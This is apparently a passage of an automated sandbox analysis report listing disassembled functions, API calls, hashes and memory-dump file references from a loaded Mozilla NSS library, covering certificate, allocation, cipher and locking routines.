Opcode Fuzzy Hash: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction Fuzzy Hash: 9831D872E0034197FB009F649D41BBB3374AF9574CF244229ED199B742FB71E99AC292

Function 6CE92E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6CE82D1A), ref: 6CE92E7E

Part of subcall function 6CEE07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CE88298,?,?,?,6CE7FCE5,?), ref: 6CEE07BF
Part of subcall function 6CEE07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CEE07E6
Part of subcall function 6CEE07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEE081B
Part of subcall function 6CEE07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEE0825

PR_Now.NSS3 ref: 6CE92EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6CE92EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6CE82D1A), ref: 6CE92F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6CE82D1A), ref: 6CE92F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CE92F81

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: 3bb0813a148e35b3334bf2297baea51f886020c7db6a1507e187d2ef4363e16e
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: 5331047190110087EF20D665DC8EFBE7275EBA131CF744579D42AA7BD0EB31988ACA52

Function 6CE80E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6CE80A2C), ref: 6CE80E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6CE80A2C), ref: 6CE80E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6CE80A2C), ref: 6CE80E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6CE80A2C), ref: 6CE80E90
free.MOZGLUE(00000000), ref: 6CE80EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6CE80A2C), ref: 6CE80ED9

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: c16442d7c2584e8f34c78a0f4fe7009ed7b76cbbd6a529cd3c74137b16a7e4b9
Instruction ID: 1fa4a20978bb97e4756a1b2185703b5294efb030753696ec31b4e84447201255
Opcode Fuzzy Hash: c16442d7c2584e8f34c78a0f4fe7009ed7b76cbbd6a529cd3c74137b16a7e4b9
Instruction Fuzzy Hash: AD213E72E036845BEF1089699C45B6B72BEDFC274CF390035DC1DA3B12EA60D81582B1

Function 6CE8AE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE8AEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6CE8AECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE8AEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6CE8AF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6CFA9500), ref: 6CE8AF23

Part of subcall function 6CEDF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CEDF0C8
Part of subcall function 6CEDF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CEDF122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE8AF37

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: 45f3844767773febffe3beb33da52c111442cdb07022053a0c9438a61c122694
Instruction ID: ce1f0aa3210c2da767b8bdbb666bb3ad0cc3e4d5697f54840cfb435cc162dff3
Opcode Fuzzy Hash: 45f3844767773febffe3beb33da52c111442cdb07022053a0c9438a61c122694
Instruction Fuzzy Hash: F2213A72946200ABE7108F189C02B9A7BF4AF8572CF244718FC189B7D1E731D54587A3

Function 6CF0EE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CF0EE85
realloc.MOZGLUE(72F0C949,?), ref: 6CF0EEAE
PORT_Alloc_Util.NSS3(?), ref: 6CF0EEC5

Part of subcall function 6CEE0BE0: malloc.MOZGLUE(6CED8D2D,?,00000000,?), ref: 6CEE0BF8
Part of subcall function 6CEE0BE0: TlsGetValue.KERNEL32(6CED8D2D,?,00000000,?), ref: 6CEE0C15

htonl.WSOCK32(?), ref: 6CF0EEE3
htonl.WSOCK32(00000000,?), ref: 6CF0EEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6CF0EF01

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: 74885108e7a6f4b75456a77aef4dea0807e8d671566d2c0f1e28dc9bbb6e1479
Instruction ID: ec83f518b37e267d50fa789532e1edfcadf1226e6d084e5ac09755280f2f4c6d
Opcode Fuzzy Hash: 74885108e7a6f4b75456a77aef4dea0807e8d671566d2c0f1e28dc9bbb6e1479
Instruction Fuzzy Hash: CA21F731A002189FDF109F28DC9079AB7A4EF49758F168169ED599F782E731EC14CBE2

Function 6CEBEE30 Relevance: 9.1, APIs: 6, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CEBEE49

Part of subcall function 6CEDFAB0: free.MOZGLUE(?,-00000001,?,?,6CE7F673,00000000,00000000), ref: 6CEDFAC7

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CEBEE5C
PK11_CreateContextBySymKey.NSS3(?,00000104,?,?), ref: 6CEBEE77
PK11_CipherOp.NSS3(00000000,?,00000008,?,?,?), ref: 6CEBEE9D
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CEBEEB3

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: K11_$ContextItem_Util$AllocCipherCreateDestroyZfreefree
String ID:
API String ID: 886189093-0
Opcode ID: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction ID: f3b461c0c3b4847c8004ef406486d7fba62e68c4b5b9f1dd3d985942e3c6dc14
Opcode Fuzzy Hash: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction Fuzzy Hash: 5321C3B6A006106BEB118A58EC81EBB77B8AF4570CF2941A8FD04AB341E671EC1587E1

Function 6CE87F50 Relevance: 9.1, APIs: 6, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE87F68

Part of subcall function 6CEE0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE887ED,00000800,6CE7EF74,00000000), ref: 6CEE1000
Part of subcall function 6CEE0FF0: PR_NewLock.NSS3(?,00000800,6CE7EF74,00000000), ref: 6CEE1016
Part of subcall function 6CEE0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE887ED,00000008,?,00000800,6CE7EF74,00000000), ref: 6CEE102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000002C), ref: 6CE87F7B

Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE10F3
Part of subcall function 6CEE10C0: EnterCriticalSection.KERNEL32(?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE110C
Part of subcall function 6CEE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1141
Part of subcall function 6CEE10C0: PR_Unlock.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1182
Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE87FA7

Part of subcall function 6CEDFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CED8D2D,?,00000000,?), ref: 6CEDFB85
Part of subcall function 6CEDFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CEDFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CFA919C,?), ref: 6CE87FBB

Part of subcall function 6CEDB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CFB18D0,?), ref: 6CEDB095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE87FCA
SEC_QuickDERDecodeItem_Util.NSS3(00000000,-00000004,6CFA915C,00000014), ref: 6CE87FFE

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_Arena_DecodeQuickValue$AllocateCopyCriticalEnterErrorFreeInitLockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1489184013-0
Opcode ID: d5a3c28c58b3487f58e0d89e606f7acceb14fdbcbea5fa84d76e6df1a70fff86
Instruction ID: dd8d1d8a363f3cfc0ca5ff96144dc755d2b17ac2aedd1f8b55e12d84d57fa41d
Opcode Fuzzy Hash: d5a3c28c58b3487f58e0d89e606f7acceb14fdbcbea5fa84d76e6df1a70fff86
Instruction Fuzzy Hash: F2113671E0120457F7109A369C42BBB76F8DF4968CF25062DFC59C6B82FB20E949C2B1

Function 6CE8BE50 Relevance: 9.1, APIs: 6, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,6CF0DC29,?), ref: 6CE8BE64

Part of subcall function 6CEE0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE887ED,00000800,6CE7EF74,00000000), ref: 6CEE1000
Part of subcall function 6CEE0FF0: PR_NewLock.NSS3(?,00000800,6CE7EF74,00000000), ref: 6CEE1016
Part of subcall function 6CEE0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE887ED,00000008,?,00000800,6CE7EF74,00000000), ref: 6CEE102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,6CF0DC29,?), ref: 6CE8BE78

Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE10F3
Part of subcall function 6CEE10C0: EnterCriticalSection.KERNEL32(?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE110C
Part of subcall function 6CEE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1141
Part of subcall function 6CEE10C0: PR_Unlock.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1182
Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE119C

PORT_ArenaAlloc_Util.NSS3(00000000,?,?,?,?,6CF0DC29,?), ref: 6CE8BE96

Part of subcall function 6CEE10C0: PL_ArenaAllocate.NSS3(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE116E

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,?,6CF0DC29,?), ref: 6CE8BEBB

Part of subcall function 6CEDFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CED8D2D,?,00000000,?), ref: 6CEDFB85
Part of subcall function 6CEDFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CEDFBB1

PR_SetError.NSS3(FFFFE013,00000000,?,6CF0DC29,?), ref: 6CE8BEDF
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,6CF0DC29,?), ref: 6CE8BEF3

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_Value$CopyCriticalEnterErrorFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 3111646008-0
Opcode ID: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction ID: 2369ac3bafc1dfd97829aff9d7b0b6c27c58459a23482239131f56308507a13b
Opcode Fuzzy Hash: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction Fuzzy Hash: D311A571E012095FEB008BA59D41FAE3BB8AB4529CF240028ED0CEB781EB31D909C7B1

Function 6CF13C80 Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6CF15B40: PR_GetIdentitiesLayer.NSS3 ref: 6CF15B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CF13D3F

Part of subcall function 6CE8BA90: PORT_NewArena_Util.NSS3(00000800,6CF13CAF,?), ref: 6CE8BABF
Part of subcall function 6CE8BA90: PORT_ArenaAlloc_Util.NSS3(00000000,00000010,?,6CF13CAF,?), ref: 6CE8BAD5
Part of subcall function 6CE8BA90: PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,6CF13CAF,?), ref: 6CE8BB08
Part of subcall function 6CE8BA90: memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CF13CAF,?), ref: 6CE8BB1A
Part of subcall function 6CE8BA90: SECITEM_CopyItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,6CF13CAF,?), ref: 6CE8BB3B

PR_EnterMonitor.NSS3(?), ref: 6CF13CCB

Part of subcall function 6CF49090: TlsGetValue.KERNEL32 ref: 6CF490AB
Part of subcall function 6CF49090: TlsGetValue.KERNEL32 ref: 6CF490C9
Part of subcall function 6CF49090: EnterCriticalSection.KERNEL32 ref: 6CF490E5
Part of subcall function 6CF49090: TlsGetValue.KERNEL32 ref: 6CF49116
Part of subcall function 6CF49090: LeaveCriticalSection.KERNEL32 ref: 6CF4913F

PR_EnterMonitor.NSS3(?), ref: 6CF13CE2
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CF13CF8
PR_ExitMonitor.NSS3(?), ref: 6CF13D15
PR_ExitMonitor.NSS3(?), ref: 6CF13D2E

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Util$Monitor$EnterValue$Alloc_ArenaArena_CriticalExitSection$CopyErrorFreeIdentitiesItem_LayerLeavememset
String ID:
API String ID: 4030862364-0
Opcode ID: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction ID: aa8def691de110833334e7bfd2cec568e86a6a16998112416a9168706311e1e6
Opcode Fuzzy Hash: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction Fuzzy Hash: A61108B5A246046FE7205A69EC4179BB7F9AB11208F504538E41A8BF21E632E91DC652

Function 6CEDFDF0 Relevance: 9.1, APIs: 6, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6CEDFE08

Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE10F3
Part of subcall function 6CEE10C0: EnterCriticalSection.KERNEL32(?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE110C
Part of subcall function 6CEE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1141
Part of subcall function 6CEE10C0: PR_Unlock.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1182
Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE119C

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6CEDFE1D

Part of subcall function 6CEE10C0: PL_ArenaAllocate.NSS3(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE116E

PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6CEDFE29
PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6CEDFE3D
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6CEDFE62
free.MOZGLUE(00000000,?,?,?,?), ref: 6CEDFE6F

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil$AllocateValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 660648399-0
Opcode ID: 00e5d093439fcb8ed207153f7f5e0b87df7bd611f56a0ecb75151893e15dad95
Instruction ID: 1949ef0f3077d719bd874531883ff2e7e1c0ac9b1d5ad2529440eaf74d2f9ac8
Opcode Fuzzy Hash: 00e5d093439fcb8ed207153f7f5e0b87df7bd611f56a0ecb75151893e15dad95
Instruction Fuzzy Hash: E911E9B6A002066BEB00CB95DC40A5B73B8AF592ADF358038ED1887B12E735F915C791

Function 6CF8FD90 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

PR_Lock.NSS3 ref: 6CF8FD9E

Part of subcall function 6CF49BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CE71A48), ref: 6CF49BB3
Part of subcall function 6CF49BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CE71A48), ref: 6CF49BC8

PR_WaitCondVar.NSS3(000000FF), ref: 6CF8FDB9

Part of subcall function 6CE6A900: TlsGetValue.KERNEL32(00000000,?,6CFE14E4,?,6CE04DD9), ref: 6CE6A90F
Part of subcall function 6CE6A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6CE6A94F

PR_Unlock.NSS3 ref: 6CF8FDD4
PR_Lock.NSS3 ref: 6CF8FDF2
PR_NotifyAllCondVar.NSS3 ref: 6CF8FE0D
PR_Unlock.NSS3 ref: 6CF8FE23

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: CondLockUnlockValue$CriticalEnterNotifySectionWait
String ID:
API String ID: 3365241057-0
Opcode ID: 4c3da05d0fd8b912b24cfe0048afdf91ef7b6b9ffe809e624803ecad6e4874af
Instruction ID: b9e11e0ad560fa881139196c09ff72107b7e6e5a2c00ed4082b1a7e10b879db5
Opcode Fuzzy Hash: 4c3da05d0fd8b912b24cfe0048afdf91ef7b6b9ffe809e624803ecad6e4874af
Instruction Fuzzy Hash: 63018EB6E10600AFDF854F16FC009467A31AB062687648378E82647BA2E722D928C782

Function 6CE6AE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE6AFDA

Strings

%s at line %d of [%.10s], xrefs: 6CE6AFD3
unable to delete/modify collation sequence due to active statements, xrefs: 6CE6AF5C
misuse, xrefs: 6CE6AFCE
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE6AFC4

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: 66c1b3d20208bb3bf793e41d7ae11dfb4170382e0d856fa7a4c7b6829b890f05
Instruction ID: f06b658b1ffa5ad60199a10c35289f8b8afbb95c247f182f788480efd6ca79e6
Opcode Fuzzy Hash: 66c1b3d20208bb3bf793e41d7ae11dfb4170382e0d856fa7a4c7b6829b890f05
Instruction Fuzzy Hash: 4691E675F912258FDB04CF5AC850BAABBF1BF45318F2945A8E865ABB51C330ED01CB61

Function 6CECFC30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,pkcs11:,00000007), ref: 6CECFC55
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CECFCB2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CECFDB7
